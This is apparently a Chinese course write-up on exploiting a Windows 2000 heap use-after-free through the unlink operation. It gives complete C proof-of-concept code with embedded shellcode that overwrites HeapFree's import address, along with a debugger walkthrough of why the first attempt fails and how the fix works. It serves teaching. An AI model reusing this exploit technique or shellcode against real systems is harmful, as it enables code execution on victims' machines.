Windows 内存释放后写入漏洞的简单利用

曾经在软件安全这门课中做过一个动态内存安全方面的 Presentation,现在对其做一个简单整理。

原理

利用 Windows RtlHeap 内存管理原理,在内存释放后覆盖空闲块的前后向指针,并触发 unlink 来实现前向指针的任意写。

Windows 是闭源系统,通过逆向人员的研究可知,Windows 的 Unlink 操作与 Linux 基本一致:

Windows 的 RtlHeap 结构:

基本操作

将空闲块的前向指针覆盖为待覆写的地址,后向指针覆盖为 Shellcode 的地址,该空闲块被再次分配的时候,通过 unlink 操作实现任意写:将后向指针( Shellcode 地址)写入前向指针(待覆写内存的地址指针)所指向的内存。

即将 H1 的 FP 的内容写入到 H1 的 BP 所指的地址。

调试分析

调试环境

  • 操作系统:Windows 2000 5.00.2195
  • 编译:VC 6.0
  • 调试工具:OllyDbg v1.10
    • 插件:OllyHeapTrace v1.1

源代码分析

代码来源:教材《Secure Coding in C and C++》

完整代码

#include "windows.h"

typedef struct _unalloc {
    PVOID fp;
    PVOID bp;
} unalloc, *Punalloc;

char shellcode[] = "";

int main(int argc, char *argv[]) {
    Punalloc h1;
    HLOCAL h2 = 0;
    HANDLE hp;
    hp = HeapCreate(0, 0x1000, 0x10000);
    h1 = (Punalloc)HeapAlloc(hp, HEAP_ZERO_MEMORY, 32);
    HeapFree(hp, 0, h1);
    h1->fp = (PVOID)(0x0042A1AC - 4);
    h1->bp = shellcode;
    h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 32);
    HeapFree(hp, 0, h2);
    return 0;
}

Line 3-6

typedef struct _unalloc {
    PVOID fp;
    PVOID bp;
} unalloc, *Punalloc;

定义空闲内存块的结构体。

fp 是空闲块的前向指针,bp 是空闲块的后向指针。

其中的 PVOID 是 Windows 特有的结构体,可以当作字符指针来使用。

Line 11-12

int main(int argc, char *argv[]) {
    Punalloc h1;
    HLOCAL h2 = 0;
    ...
    return 0;
}

第一行用之前定义的空闲内存块结构体声明一个堆指针 h1

第二行用 Windows 的内存块指针结构体 HLOCAL 声明一个内存块指针 h2

Line 13-14

int main(int argc, char *argv[]) {
    ...
    HANDLE hp;
    hp = HeapCreate(0, 0x1000, 0x10000);
    ...
    return 0;
}

第一行用 Windows 的堆指针数据类型 HANDLE 声明一个堆指针 hp

第二行调用 HeapCreate 函数创建了一个新堆,初始大小为 0x1000,最大大小为 0x10000,堆起始地址返回给 hp

Line 15-16

int main(int argc, char *argv[]) {
    ...
    h1 = (Punalloc)HeapAlloc(hp, HEAP_ZERO_MEMORY, 32);
    HeapFree(hp, 0, h1);
    ...
    return 0;
}

第一行申请 32 字节大小的内存空间,强制转化为我们之前自定义的 Punalloc 结构体类型,起始地址返回给 h1

第二行将上一行申请来的内存块 h1 释放掉。

这样 h1 就成了一个空闲块,并返回到 FreeList[0] 大空闲块的位置。

Line 17-18

int main(int argc, char *argv[]) {
    ...
    h1->fp = (PVOID)(0x0042A1AC - 4);
    h1->bp = shellcode;
    ...
    return 0;
}

虽然 h1 的内存已经被释放,成为了一个空闲块,但是 h1 任然存着当初分配的内存的起始地址,此时此刻前后向指针都指向 FreeList[0] 头。

第一行将空闲块的前向指针覆写为 0x0042A1ACHeapFree的调用地址)。这个地址里面存着HeapFree 函数的入口点。

第二行将空闲块的后向指针覆写为 shellcode 的地址。

Line 19-20

int main(int argc, char *argv[]) {
    ...
    h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 32);
    HeapFree(hp, 0, h2);
    return 0;
}

再次申请一块 32 字节大小的内存块,系统会将之前 h1 回收的这块内存分配出来,这就意味着有 unlink 的操作。

通过第一行对的内存申请实现任意写:将后向指针(shellcode 地址)写入前向指针(HeapFree 的地址)所指向的内存。

第二行调用 HeapFree 函数,实际上是调用执行 shellcode

实际调试

在 OD 里找到 main 函数入口点:

在执行完 HeapCreate 后,函数返回(EAX)堆起始地址,堆起始地址为 0x00360000

在执行完 HeapAlloc 后,函数返回(EAX)申请的内存空间起始地址,起始地址为0x00360688

堆起始地址偏移 0x178 处为 FreeList[0],可看出 h1 的起始地址为 0x00360688

申请的空间 h1 被初始化为 0

主函数中的结构体的前后向指针的赋值:

可以看到在 h1 被释放后,其前后向指针已经被改写了;后向指针被改为待覆写地址 0x0042A1AC,后向指针被改写为 shellcode 的地址:

在 IDA 里可以查到 HeapFree 的调用地址为 0x0042A1AC

此处相当于 Linux 中的 GOT 表,0x0042A1AC 中存储的是 HeapFree 在 kernel32.dll 中的函数入口地址:

但是在 HeapAlloc h2 时,由于 Windows 自己的安全检查机制,该 GOT 表处被改成了堆上的一个地址:

自然,代码跳到了堆上执行,而没有跳到预期的 shellcode 上执行

漏洞利用失败

改进利用代码

第 16 行执行结束后,h1 被释放,所有的区域都是空闲的,形成一个大的空闲块,FreeList[0]=h1h1 之前 8 个字节存放的是整个空闲块的边界标志,h1 处存放的是 Freelist[0] 的地址值,h1 执行完 18 行时,第一块的前后向指针被成功的覆写。但是执行到第 19 行时,unlink 执行成功,但是程序紧接着会报错,无法跳转执行 shellcode

花了很多时间调试和查资料才发现,这是由于 Windows 内存管理器对大空闲块(即 FreeList[0] 处存放的空闲块)的管理机制造成的。当整个空闲块的前后向指针被覆写,空闲块分配一部分内存块给 h2 之后,剩余空闲块的边界标志和前后向指针发生了变化,其中前向指针被修改为 D1=[0x0042A1AC-4]0x0042A1AC 为函数 HeapFree 的地址),后向指针被修改为 D2=[[0x042817C-4]+4],而内存管理器需要将 D2 的前向指针,D1 的后向指针更新为大空闲块此时的地址,但是发现 D2有内存保护,不能执行写操作。因此程序报错,不能往下执行。

所以解决思路是:如果已释放内存块 h1 被放入了 FreeList[5] 而不是和其余未分配内存一起放入了 FreeList[0] 中,那么此时通过修改 h1 的前后向指针,就可以达到攻击目的。

具体的解决方案就是:在申请了第一个内存块之后,再申请一个内存块,那么当第一个内存块被释放后,由于第二个内存块将第一个内存块与未分配内存分隔开了,所以第一个内存块就被放入到 FreeList[5] 中,之后修改 h1 的前后向指针,当用户再次申请和第一块内存同样大小的内存块是,执行 unlink 操作,HeapFree 函数的地址被 shellcode 的自己所覆盖,再次调用 HeapFree 函数时,触发 shellcode

改进后的完整代码如下:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "windows.h"
#include <tchar.h>

typedef struct _unalloc {
    PVOID fp;
    PVOID bp;
} unalloc, *Punalloc;

char shellcode[] = 
"\x90\x90\x90\x90\x20\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x33\xdb\x53\x68\x62\x75\x70\x74\x68\x62\x75\x70\x74\x8b"
"\xc4\x53\x50\x50\x53\xb8\x68\x3d\xe2\x77\xff\xd0\x90\x90\x90"
"\x90\x90\x90\xb8\xbb\xb0\xe7\x77\xff\xd0\x90\x90\x90\x90";

int main(int argc, char *argv[]) {
    Punalloc h1;
    HLOCAL h2 = 0, h3 = 0;
    HANDLE hp;
    LoadLibrary("user32.dll");
    hp = HeapCreate(0, 0x1000, 0x10000);
    h1 = (Punalloc)HeapAlloc(hp, HEAP_ZERO_MEMORY, 32);
    h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 32);
    HeapFree(hp, 0, h1);
    h1->fp = (PVOID)(0x0042A1AC - 4);
    h1->bp = shellcode;
    h3 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 32);
    HeapFree(hp, 0, h2);
    return 0;
}

h1 分配空间之后再申请一次空间,这样的话释放后的 h1 就不会放回 FreeList[0] 而会被放到 FreeList[5]

h1h2 分配空间之后:

h1 被 free 之后:

h1 的前后向指针被覆写之后:

unlink 并分配 h3 之后:

改进后调试

成功: